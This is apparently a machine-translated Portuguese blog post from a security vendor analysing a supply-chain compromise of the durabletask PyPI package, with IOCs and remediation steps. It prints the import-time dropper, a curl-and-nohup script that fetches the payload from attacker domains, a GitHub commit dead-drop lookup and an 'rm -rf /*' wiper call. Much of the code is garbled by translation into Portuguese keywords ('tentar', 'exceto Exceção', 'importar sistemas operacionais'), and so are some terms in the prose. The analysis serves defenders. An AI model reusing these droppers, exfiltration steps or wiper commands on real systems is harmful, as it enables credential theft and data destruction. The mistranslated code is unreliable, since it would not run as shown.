Aikido

O pacote durabletask da Microsoft no PyPi foi comprometido. O Mini Shai Hulud ataca novamente... outra vez!

Escrito por
Raphael Silva

Identificámos três versões maliciosas de tarefa duradoura no PyPI, 1.4.1, 1.4.2, e 1.4.3, que contêm um dropper inserido diretamente nos ficheiros-fonte Python do pacote. Quando um programador instala qualquer uma destas versões e importa a biblioteca, o dropper descarrega e executa silenciosamente uma carga útil de segunda fase a partir de um domínio C2 criado há três dias.

Essa segunda fase consiste num infostealer e worm com funcionalidades completas. Recolhe credenciais de todos os principais fornecedores de serviços na nuvem, gestores de palavras-passe e ferramentas de desenvolvimento que consegue encontrar, encripta os resultados com uma RSA controlada pelo atacante e envia-os para o servidor C2. Se a máquina estiver a funcionar na AWS, propaga-se para outras instâncias EC2 através do SSM. Se estiver no Kubernetes, propaga-se através de kubectl exec. E se detetar configurações de sistema israelitas ou iranianas, há uma probabilidade de 1 em 6 de reproduzir áudio e, em seguida, executar rm -rf /*.

Isto cheira a mais travessuras da TeamPCP, mas, por enquanto, não temos a certeza.

O que aconteceu

tarefa duradoura é um pacote Python para o Durable Task Framework, uma biblioteca de orquestração de fluxos de trabalho associada ao Microsoft Azure. É o tipo de pacote que se esperaria encontrar em ambientes Python nativos da nuvem que executam automação, CI/CD ou cargas de trabalho ligadas ao Azure, que é exatamente o tipo de ambiente a que esta campanha se destina.

A partir da versão 1.4.1, o pacote __init__.py foi infectado com um dropper que se ativa no momento da importação:

importar sistemas operacionais
import plataforma
import subprocess
import urllib.request


se platform.system() == "Linux":
    tentar:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

        com open(os.devnull, "w") como f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    exceto Exceção:
        pass

O dropper é exclusivo para Linux, é totalmente silencioso e funciona num processo independente que sobrevive mesmo que o processo pai seja encerrado. O amplo exceto: passar ignora quaisquer erros. Um programador que execute importar durabletask quem o visse pela primeira vez não veria absolutamente nada.

As versões contam uma história

As três versões contêm o mesmo código do dropper, mas cada versão inseriu-o em mais ficheiros. Trata-se de uma estratégia deliberada para maximizar a probabilidade de que pelo menos um caminho de importação acione a carga útil.

Versão Ficheiros infetados
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

Por versão 1.4.3, o dropper é executado a partir de cinco pontos de entrada distintos. Um programador que apenas lida com importar ... de durabletask.entities continua comprometido. O domínio C2, o URL da carga útil e a lógica do dropper são idênticos, byte a byte, nas três versões; a única alteração diz respeito à cobertura.

A carga útil: rope.pyz

O conta-gotas retira rope.pyz de hxxps://check.git-service[.]com/rope.pyz. O domínio foi registado a 16 de maio de 2026, três dias antes desta análise. O domínio está alojado na NameSilo com registo com proteção de privacidade.

rope.pyz é uma aplicação zipapp em Python: um arquivo ZIP com um __main__.py ponto de entrada que o Python pode executar diretamente. Contém 19 ficheiros distribuídos por uma estrutura de módulos.

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Antes de fazer qualquer coisa, __main__.py executa quatro verificações:

  1. Plataforma — sai se não for Linux.
  2. Localização — sai se $LANG começa com ru. A carga útil não será executada em sistemas com configuração regional russa.
  3. Número de CPUs — sai se os.cpu_count() <= 2. Isto elimina a maioria das sandboxes automatizadas.
  4. Dependências — instala silenciosamente cryptography através do pip, caso não exista, com um --pacotes-do-sistema solução alternativa.

Só depois de verificar todas as quatro condições é que o processo passa para o módulo principal de orquestração.

O ponto de entrega secreto do FIRESCALE

A carga útil verifica primeiro com hxxps://check.git-service[.]com/v1/models. Se esse ponto final devolver HTTP 200, o corpo da resposta é tratado como um script Python codificado em Base64 e entregue a roulette.py para execução — este é o canal de ativação remota do atacante.

Se o C2 principal estiver inacessível, a carga útil recorre a um ponto de entrega oculto baseado no GitHub:

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

Pesquisa a API de pesquisa de commits do GitHub pela sequência de caracteres FIRESCALE. Cada commit correspondente é analisado para verificar se segue o padrão:

FIRESCALE <base64_url>.<base64_signatue>

O URL codificado em base64 só é aceite se a sua assinatura RSA for verificada em relação a uma chave pública de 4096 bits codificada de forma fixa. Isso significa que apenas o atacante — o detentor da chave privada correspondente — pode publicar um novo endereço C2 válido. A API de pesquisa do GitHub torna-se um canal alternativo resistente à censura e autenticado criptograficamente. Se o domínio C2 principal for apreendido ou redirecionado para um sinkhole, o atacante pode retomar as operações fazendo um único commit público em qualquer lugar no GitHub.

O que ele rouba

A recolha decorre em simultâneo em oito módulos através de ThreadPoolExecutor.

Gestores de palavras-passe. A carga útil tem como alvo 1Password, o Bitwarden, passar, e gopass. Para cada cofre bloqueado, tenta desbloqueá-lo analisando as variáveis de ambiente em busca de padrões como *PASS*, *SEGREDO*, e BW_*, analisando ficheiros de histórico do shell para Desbloquear BW e ao iniciar sessão invocações e, em seguida, testar a cadeia de caracteres literal "anon" como último recurso. Se entrar, apaga tudo.

Arquivos de credenciais. São lidos mais de 90 caminhos de ficheiros codificados. A lista é exaustiva: credenciais da AWS, credenciais predefinidas de aplicações do GCP, tokens de acesso do Azure, ~/.kube/config, ~/.vault-token, ~/.ssh/ (todos os ficheiros), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env ficheiros em todo o diretório pessoal, ficheiros de estado do Terraform (que frequentemente contêm secrets em texto simples) e configurações de VPN, incluindo ficheiros de estado do Tailscale e do WireGuard .conf arquivos.

A lista também se centra especificamente nas ferramentas de desenvolvimento de IA: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, e ficheiros de configuração para o Zed, o Continue, o Kilo e o OpenCode.

Docker. A carga útil consulta o socket do Docker socket /var/run/docker.sock diretamente, enumerando todos os contentores e extraindo as suas variáveis de ambiente. Cloud transmitidas como variáveis container são um padrão comum em configurações de CI/CD baseadas no Docker.

AWS. As credenciais são obtidas a partir das variáveis de ambiente, depois do serviço de metadados da instância EC2 (IMDS) e, por fim, de todos os perfis nomeados em ~/.aws/credentials. Para cada conjunto de credenciais, a carga útil enumera simultaneamente Secrets AWS Secrets e o SSM Parameter Store em todas as 19 regiões da AWS, incluindo a GovCloud. Recupera todos os valores secretos, com Com descriptografia: True para o SSM. Além disso, enumera todas as instâncias EC2 geridas pelo SSM para a etapa de propagação descrita abaixo.

Azure. A carga útil resolve os tokens através de credenciais do cliente, de uma asserção JWT baseada em certificado e do cache de tokens da CLI do Azure em ~/.azure/accessTokens.json, ou Azure IMDS (identidade gerida). Com um token válido, apresenta todas as subscrições, todos os Key Vaults em cada subscrição e recupera todos os segredos de cada cofre.

GCP. As credenciais são resolvidas a partir de $GOOGLE_APPLICATION_CREDENTIALS, o ficheiro de credenciais predefinido da aplicação ou o GCP IMDS. A carga útil gera ela própria os JWT OAuth2 e recupera todos os segredos do GCP Secret Manager.

Kubernetes. O acesso é resolvido a partir de ~/.kube/config em todos os contextos, a partir de tokens de contas de serviço no cluster ou através de kubectl. Se kubectl se não estiver instalado, o payload descarrega-o da CDN oficial de versões do Kubernetes para /tmp/kubectl. Todos os segredos em todos os namespaces, em todos os contextos, são recuperados e descodificados em base64.

HashiCorp Vault. A carga útil resolve o token do Vault a partir de $VAULT_TOKEN, ~/.vault-token, credenciais do AppRole ou token de impressão do cofre. Em seguida, percorre recursivamente todas as montagens KV v1 e v2, recuperando todos os caminhos secretos. A verificação SSL está desativada para permitir a gestão de implementações internas do Vault com certificados autoassinados.

Todos os dados recolhidos são comprimidos com gzip e encriptados com AES-256-GCM. A chave AES por sessão é encriptada com RSA utilizando a chave pública do operador codificada de forma fixa. Apenas o atacante pode a desencriptar.

A exfiltração segue um plano de contingência em três fases:

  1. PUBLICAR em hxxps://check.git-service[.]com/api/public/version
  2. ENVIAR para um URL do servidor principal resolvido através do canal de comunicação seguro do FIRESCALE
  3. Se for encontrado algum token do GitHub roubado nos dados recolhidos, crie um com um nome aleatório público Repositório do GitHub e carregue o pacote encriptado como results.json

Os nomes dos repositórios de reserva do GitHub são retirados de uma lista de palavras do folclore russo: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, entre outros. A nomenclatura não é aleatória — é uma assinatura característica do operador.

Propagação por sementes

Depois de recolher secrets, a carga útil espalha-se.

AWS SSM. Com as instâncias EC2 identificadas durante a recolha de credenciais, a carga útil envia um ssm:EnviarComando (utilizando o AWS-ExecutarScriptShell (documento) para um máximo de cinco instâncias online que não sejam Windows:

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

Um ficheiro de marcadores em ~/.cache/.sys-update-check impede a reinfecção pelo mesmo hospedeiro. A URL da carga útil secundária hxxps://t.m-kosche[.]com/rope.pyz funciona como alternativa caso o C2 principal esteja inoperacional.

Kubernetes. Se estiver a ser executado num cluster K8s, a carga útil kubectl execExecute o mesmo script de «descarregar e executar» em até cinco pods em execução, ignorando o atual. Um marcador separado em ~/.cache/.sys-update-check-k8s acompanha a propagação dos K8 de forma independente.

O limpador de disco

Quando o C2 principal regressar HTTP 200 de /v1/modelos, a resposta aciona roulette.py. Esse módulo tem duas funcionalidades: instalar a persistência e limpar discos.

Persistência. A resposta C2 descodificada de base64 é gravada em /usr/bin/pgmonitor.py (como root) ou ~/.local/bin/pgmonitor.py (sem direitos de root) e registado como um serviço do systemd com o nome pgsql-monitor.service, descrito como um «Monitor do PostgreSQL». O serviço reinicia automaticamente em caso de falha.

Limpador. O módulo verifica se as configurações do sistema são israelitas ou iranianas, analisando $TZ para cadeias de caracteres como Jerusalém, Tel Aviv, e Teerão; leitura /etc/fuso horário e /etc/localtime conteúdo binário; e verificação $LANG, $LC_ALL, e $LC_MESSAGES por he_IL ou fa_IR. Com uma probabilidade de um em seis, o resultado é:

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

Faz o download de um ficheiro de áudio a partir de hxxps://check.git-service[.]com/audio.mp3, define o volume do sistema para 100% através de pactl, e reproduz-o através de MPV, e depois apaga o disco. O áudio é reproduzido antes do apagamento, por definição. Não se trata de um processo automatizado em segundo plano; o atacante ativa-o deliberadamente para cada vítima, devolvendo 200 OK no balcão de check-in C2.

Detecção e mitigação

Se você instalou tarefa duradoura 1.4.1, 1.4.2 ou 1.4.3, considere o sistema como comprometido. A carga útil foi executada assim que o pacote foi importado.

Verifique primeiro se existe o ficheiro de marcação:

~/.cache/.sys-update-check

A sua presença confirma que o código do worm foi executado nesse host. Verificar ~/.cache/.sys-update-check-k8s separadamente para a propagação no Kubernetes.

Procure o serviço de persistência:

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

Bloquear e rodar:

  • Todas as credenciais de nuvem presentes no host afetado (AWS, Azure, GCP)
  • Todas as chaves SSH em ~/.ssh/
  • Todos os tokens das contas de serviço do Kubernetes
  • Quaisquer tokens do HashiCorp Vault
  • Tokens do GitHub e PATs — e verificar se existem novos repositórios públicos com nomes inspirados no folclore russo criados a partir desses tokens
  • npm, pip, e tokens do registo de pacotes
  • Qualquer coisa em ~/.docker/config.json
  • Todos secrets das variáveis de ambiente secrets foram definidos na máquina
  • Conteúdo de qualquer .env ficheiros no diretório pessoal
  • Quaisquer ficheiros de estado do Terraform no anfitrião

Se o servidor estava a ser executado na AWS com instâncias geridas pelo SSM na mesma conta, verifique o AWS CloudTrail para EnviarComando detetar a atividade proveniente da instância comprometida e investigar todas as instâncias com as quais esta tenha entrado em contacto. Faça o mesmo no Kubernetes: verifique os registos de auditoria para exec comandos provenientes do pod infetado.

Bloqueio na camada de rede:

  • check.git-service[.]com
  • t.m-kosche[.]com

Indicadores de Comprometimento

Pacotes maliciosos:

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

Hashes:

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Domínios e URLs:

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

Registo de domínios:

  • git-service.com — registado em 16/05/2026 (3 dias antes da análise), NameSilo, com proteção de privacidade

Ficheiros criados no computador da vítima:

  • /tmp/managed.pyz — lançamento inicial da carga útil
  • ~/.cache/.sys-update-check — marcador de propagação (artefacto de deteção de chave)
  • ~/.cache/.sys-update-check-k8s — Marcador de propagação do Kubernetes
  • /usr/bin/pgmonitor.py ou ~/.local/bin/pgmonitor.py — carga útil de persistência
  • /etc/systemd/system/pgsql-monitor.service ou ~/.config/systemd/user/pgsql-monitor.service — serviço de persistência
  • /tmp/kubectl — binário do kubectl descarregado, caso não esteja presente no anfitrião

Textos da campanha:

  • FIRESCALE — sequência de sinalização de ponto de entrega secreta na pesquisa de commits do GitHub
  • pgsql-monitor.service — nome do serviço de persistência
  • Monitor do PostgreSQL — descrição do serviço de persistência utilizada como pretexto
  • Nomes de repertórios do folclore russo: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, DOMOVOI, VODYANOY, entre outros

Como o Aikido detecta isso

Se é Aikido , verifique o seu feed central e filtre por problemas de malware. Isto será apresentado como um problema crítico. Aikido todas as noites, mas recomendamos que inicie uma nova verificação manual agora.

Se ainda não é Aikido , pode criar uma conta e ligar os seus repositórios. A proteção contra malware está incluída no plano gratuito.

Para garantir a segurança futura, Aikido Chain (código aberto) intercepta os comandos de instalação de pacotes e verifica-os junto Aikido antes de qualquer execução.

Compartilhar:

https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud

Assine para receber notícias

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.